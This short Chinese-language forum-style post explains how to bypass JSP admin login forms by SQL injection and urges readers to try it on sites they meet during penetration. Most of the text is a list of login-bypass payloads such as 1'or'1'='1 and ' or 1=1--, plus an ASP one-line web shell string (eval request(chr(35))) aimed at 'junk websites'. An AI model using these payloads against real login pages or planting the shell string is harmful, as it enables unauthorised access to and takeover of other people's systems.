和曾经asp后台的弱口令('or''=')登陆一样,jsp的后台登陆中也存在着对字符过滤不严格,从而导致可以直接绕过登陆表单而直接进入后台.虽然利用的几率不如03,04年时期的asp后台利用那么大,可是无疑给我们的sentou加了把双刃剑

当遇到 jsp的后台时候,大家不妨试验下下面的,说不定会有以外收获 : )

用户名：1'or'1'='1
密码：1'or'1'='1 

以下代码也是对付一些垃圾网站的
a":eval request(chr (35))//'
'or''='
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a